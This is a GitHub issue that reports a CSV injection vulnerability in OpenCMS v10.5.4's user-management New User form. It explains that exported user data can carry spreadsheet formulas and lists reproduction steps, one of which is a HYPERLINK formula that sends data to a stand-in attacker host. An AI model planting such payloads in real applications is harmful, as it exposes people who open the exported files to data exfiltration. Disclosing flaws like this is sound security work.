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CSV Injection | v10.5.4 | New User #636

varchashva opened this issue Apr 8, 2019 · 0 comments


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commented Apr 8, 2019

Hello Team,

I would like to report a vulnerability (CSV Injection) which I have observed in current version v10.5.4 and before.

When a spreadsheet program such as Microsoft Excel or LibreOffice Calc is used to open a CSV, any cells starting with '=' will be interpreted by the software as a formula. Maliciously crafted formulas can be used for three key attacks:

  • Hijacking the user's computer by exploiting vulnerabilities in the spreadsheet software, such as CVE-2014-3524
  • Hijacking the user's computer by exploiting the user's tendency to ignore security warnings in spreadsheets that they downloaded from their own website
  • Exfiltrating contents from the spreadsheet, or other open spreadsheets.

Please refer for more details.

Impacted URL is http://[your_webserver_ip]/opencms/system/workplace/admin/accounts/user_new.jsp

Steps to reproduce:

  1. Browse to Quick Launch -> Account Management -> User Management -> New User
    Insert =HYPERLINK("http://[attacker_ip:port]/GiveMeSomeData","IAmSafe") in First Name and Last Name field


  1. Now export all user information in CSV by using export feature in application.
    Quick Launch -> Account Management -> User Management -> Export User
  2. Once user opens the affected CSV file, payload will be triggered



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Best Regards
varchashva [at] gmail [dot] com

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